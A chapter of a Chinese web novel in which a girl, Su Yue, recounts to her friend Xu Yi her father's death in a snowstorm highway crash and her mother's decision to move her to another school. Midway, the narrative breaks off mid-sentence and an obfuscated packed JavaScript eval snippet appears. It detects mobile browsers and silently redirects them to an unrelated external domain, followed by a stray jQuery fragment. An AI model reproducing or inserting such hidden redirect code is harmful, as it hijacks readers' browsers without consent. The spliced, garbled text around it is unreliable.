七年前的榕城，正历经一场寒冬。放寒假的那天傍晚，黑云压城，狂风呼啸，把树吹得东倒西歪，被卷起的细石与尘土无情地扑打玻璃。
老式居民楼区，悬挂在单元门上的灯泡因接触不良，在昏暗里一闪一闪，有些瘆人。但因为可以见到许久未归的苏烈，苏月放学回来，碰上平时害怕的小狗都觉得是可爱的。
推开掉漆的防盗门，屋内的饭菜香立刻飘过来。
苏月被冻得脸和手通红，马上窜到客厅烤炭火。等缓和过来，苏月搓搓耳根，对在厨房进进出出的李茗喊道：“妈妈，我回来了！”
李茗围着围裙，端上一大碗鸡汤，听到自家宝贝女儿的声音，擦擦手笑，“回来了。外面是不是很冷？”
“真的很冷，我刚刚买的糖葫芦都好像要结块了。”
一句话，李茗脸上的笑淡了几分。
“不是说了不要随便在外面买零食吃吗？都还没吃饭，一会儿肚子还能吃下去吗？”
“噢。”
苏月乖乖低头认错。今天太高兴，她忘了妈妈一直以来的嘱咐。
李茗无奈脱下围裙。如今家里起步没多久，没有大富大贵，但也不至于拮据。她自己跟朋友做点小生意，收入尚可，但习惯说教苏月这些消费行为，潜意识里觉得没必要为路边摊的商品买单。不过，近新年，她也不想和女儿关系闹僵，走过去揉揉苏月的脸蛋。
“好了，待会儿去给爸爸打个电话，不然桌上的好菜我们就不给他留了。今天吃饭就开电视吧，你爸爸最喜欢看新闻了。”
一听到关于爸爸的事，苏月立刻高兴起来，咧嘴笑喊了声好。
苏月从炭火边起来，垫起脚摸索电视底部的开关，凭记忆摁着遥控器换到新闻频道。
“观众朋友大家好。现在紧急插播一条消息。今日18点23分，在xx高速发生特大交通事故，八辆轿车和一辆公交车发生追尾，具体情况由前线记者详细报道……”
苏月看到屏幕切换到灰蒙蒙的天，好奇转过头去，“妈妈，这条路好像我们以前坐车经过的哎。”她记得，以前乘大巴进深山去看爸爸的时候，就有电视上拍到的隧道。
李茗听到女儿的声音，再看向播报的新闻大字，立马站了起来，脸几乎要贴到电视机前。扫过电视上的时间，瞬间跌坐在地上。
苏月觉得奇怪，费力抓着李茗的胳膊往上提，“妈妈，妈妈……你怎么了？地上凉，快起来呀。”
李茗不敢细想，艰难扯出一个微笑，“刚刚爸爸给妈妈打电话了。外面雪大，妈妈出去接他。宝贝乖乖在家，饿了的话就先吃饭，好不好？”
苏月觉得奇怪。妈妈不是还要自己去给爸爸打电话吗？但没作他想，点点头，“好，我在家等爸爸妈妈回来。妈妈出门要小心！”
把苏月抱到饭桌前，李茗慌慌张张收拾一通，连围巾都没戴，二话不说冲出门。苏月坐在专属板凳上，双手捧着碗，脚丫子在空中愉快晃荡。
看来妈妈也很迫不及待想见爸爸了呢。
雪如棉絮，给县城盖上松软白被。苏月长那么大，还没见过那么密的雪。她曾经问过，如果下大雪，农民伯伯种的庄稼怎么办，李茗当时笑着解答，不用担心，因为瑞雪兆丰年。
苏月半懵半懂，直觉这是件好事，跟着一起笑了。
后来，苏月才知道，那年冬天榕城迎来近几十年最大的暴雪。后来的后来，她穿着黑衣站在葬礼上，才明白自己的父亲被永远锁在装订着黑白照片的相框内。
至此，漂泊的船永远失去可以依靠的港湾。苏烈也永远沉睡在那场皑皑白雪中，不再醒来。
*
白芒闪过，是泡在泪水的月光重影。
苏月喉咙发干，脸却是湿的，挂着两行清泪。许翊在她颤着声的第一时间就牵过她手，轻轻摩挲安抚。
苏月讲得断断续续，不时就要停下来，声音轻又缓，像在诉说一个遥远的故事。如果没有说出“我”这个字，许翊几乎要忘了她其实是故事的亲历者。
观众席位的材质粗糙，苏月靠得累，换了个别扭姿势，望着许翊。
“我好像没怎么和你说过我以前的经历。”苏月眼角擒着泪光，“因为，以前的生活真的很无聊。而且我爸爸……已经离世了。”
话音刚落，许翊按着自己的手加重力度。
苏月仰头看着满天繁星和一轮孤月，细细抽泣。
其实她对苏烈离世的悲情有些许延时。悲剧发生时，她尚且是个不明事理的小孩，等明白过来，只觉恍惚，整个人如悬浮在无人海域，找不到上岸的方向。
从“他不在了”到“他工作忙”，她花了七年时间去练习，做到面不改色说出口，仿佛苏烈真的只是出了趟远门，还会回来。
“我和你说说我爸爸吧。”
“好。”
苏月偏了偏头，沉默一瞬，有些自嘲嗤了声，“但是我好像，只记得我很小时候的他了。
“听他的名字，如果按照名如其人的规律，是不是觉得他性格刚烈，或者像平常大家以为的是个严父？但实际上，他心思很细腻，儒雅，甚至有点古板。
“他会记得和我妈妈的结婚纪念日，每次回来家里原本只当摆设的花瓶会重新插上鲜花。他会在每年我的生日给我留下一封信。他很喜欢看新闻，也喜欢读老旧不太适应时代的报纸。”
许翊静静听着，女孩儿谈到父亲的时候，声音是带着很浅的笑意的，适时问了一句，“叔叔人那么好，是做什么工作的呢？”
“老师。支教老师。”说到这个，苏月是很骄傲的。
这是落在学校单位里的扶贫项目，鼓励教师积极参加。当时消息一出，上至经验丰富的老教师拒绝，下至年轻老师推脱，唯有苏烈提交了申请表，最后也是顺利通过了。
要升小学的那年暑假，客厅房顶悬着吱呀吱呀响的老式风扇。和伙伴疯玩回来后的苏月看到苏烈在收拾行李，茶几旁放置两个大行李箱，顿时慌了。
“爸爸，你要去哪？你不要我和妈妈了吗？”苏月用两只细小的胳膊抱着苏烈，说不上什么原因，她很害怕，生怕下一秒父亲渺无音讯。
苏烈只当她习惯陪伴，无法接受短暂的分别，转而圈着，亲亲苏月的额头，“宝贝，爸爸就是到外面出差，过段时间就会回来的。”
过段时间是个很模糊的概念，苏月无法辨别，眼里开始积攒涩意，“那……爸爸是会回来的？”
“当然。我可舍不得我的宝贝女儿。爸爸去的地方很远，也很偏，坐车要花好几个小时。所以学校里很多其他老师不愿意去。”
“那……爸爸为什么要去呢？”
“因为那里，也有很多像宝贝一样可爱的孩子。但是他们很可怜，大多爸爸妈妈都不在身边，爸爸就去那陪他们了。”
苏月仰着头，试图理解，“所以爸爸是在做一件很厉害的事情。”
“对，宝贝真聪明。”
听到夸奖，苏月终于展露笑颜，“那我的爸爸是超级大英雄！像动画片里面一样要去拯救世界！”
那时的她不理解，现实里的英雄只是肉/体凡胎，面对天灾人祸，毫无还手之力。
兜兜转转，落款是逃不出的分离。苏月说完，又猛地吸一口气，记忆匣子慢慢关上。四周静得可怕，苏月张口，交代今晚一切反常行为的根源。
“我妈想给我转学了。就在下周。”
许翊听到后立刻侧目，好半晌才出声，“为什么……”
“因为……”苏月苦涩垂眸，思考从哪里解释，“她不满意。”
“因为这次考试的成绩？”
“嗯。我的初中很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508725|133667||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
痛苦，对应的难得好事，是我永远是年级第一。或许在她的眼里，我无所不能，所以我也不可以从第一位置跌落出去。”说到这，苏月觉得很讽刺，“前几天晚上，我们聊了很久。我为了你们，和她争执不下。可她一口咬定，一中松懈的环境不适合我，已经在帮我另寻他处。我没得选，我没有任何筹码和我妈谈判。”
人们总说，十七八岁的少年总是自由的。但前路看似有很多选择，却都是没有路牌的十字街道。她疯狂挣扎想逃出铁笼，却忘了脚上还拴着链条。
“但是，许翊，我真的很舍不得这里，舍不得你们，尤其是你。之前我还抱着一丝妄想，努力地朝我妈妈设定的路走，在某个合适的时机反抗，争取真正想要的东西。但是现在看来，她好像已经给我划定好了活动区域。”苏月吞咽，只觉喉咙和胃翻涌苦味，沮丧得出一个结论。
“我好像是个运气很差的人。”
小时候到商场砸金蛋，她保底也占不到任何便宜；上学最开始接触选择题，她几乎永远在二分之一的概率下选到错误答案。后来，她渐渐悟出，唯有强者才不需要所谓运气的加持，才可以有被正视的资格。因而，到了学习上，除了李茗一成不变的压力，她总是不留余力逼着自己，再努力一点，再熬一下。
直到，离开儿时的玩伴，和苏烈阴阳两隔，再到现在又要奔波，苏月恍惚：她好像无论怎么努力，所有的一切都会回到零点。那些陪伴的，珍视的，都会一一离去。仿若今天，不是十五，月亮不圆似弯钩。似乎古往今来的文人，都习惯歌颂承载美满幸福的圆月，极少愿将笔墨洒于缺月。人们习惯看那皎洁无暇的月光，却忘了月亮自身是不发光的卫星，是没有生命体的存在。
苏月继续，“许翊，我真的好难过……可能和世界上其他一些人比，我已经足够幸福。但我真的好贪心。”
从来没有拥有过幸福是最遗憾的事吗？苏月肯定，不是的。在她看来，拥有过却又永远失去才是最极致的痛。
泪水再涌，顺着脸颊流到脖颈。
“许翊，我好像找不到任何意义了。再过一年，我不知道可以去哪里，能去哪里。一切都不由我决定。”原先未来的一年，她的身边应该有敬重的师长，有并肩作战的同学，至此，泡沫消散。转学过来一年多的时间，像个乌托邦，是美梦，结局还是破碎。无论如何努力拼凑碎片，都回不到那个天朗气清的下午。
“甚至，我们也许，没有再见面的可能。”
说完这句，苏月像被抽干所有力气，再起不来。她很久没说过那么多话了，时间强迫她适应孤独，于是倾诉者变为倾听者。
聒噪晴朗的夏夜里，两人交握的双手却冒着冷汗，冷到一寸一寸骨肉中。
许翊久久未言，在消化所有苏月交代的前因后果，最后郑重看向挨在身边的她，“没有其它选择了吗？”
“没有。”
再过半小时，自习结束，新的周末到来，她也要离开了。
“苏月，我不擅长说好听的话。但我也可以肯定，遇到你一定是我人生里不可多得的幸运。我脾气犟，不相信事情完全没有希望。所以即便我不知道以后我们会不会再重逢，我依然会为了那点渺茫的可能而努力。这是我理解的意义。”
话落，女孩猛地往他怀里一撞，胳膊紧紧围在他后颈。
许翊险些快喘不过气，感觉到T恤被浸湿一块，吞咽掉酸痛的情绪，刻意换了副轻松的口吻，“所以无论到了哪里，我们都不要放弃。毕竟，苏老师在哪里都想压我一头的，对不对？”
怀里的人抱得更用力了。
苏月用无声流泪代替回答。
其实她明白的。许翊领着她，重新适应故土，带她见过那么多旖旎风光。不会再有让她如此刻骨铭心的伙伴、师长，不会再有像他这样好的少年了。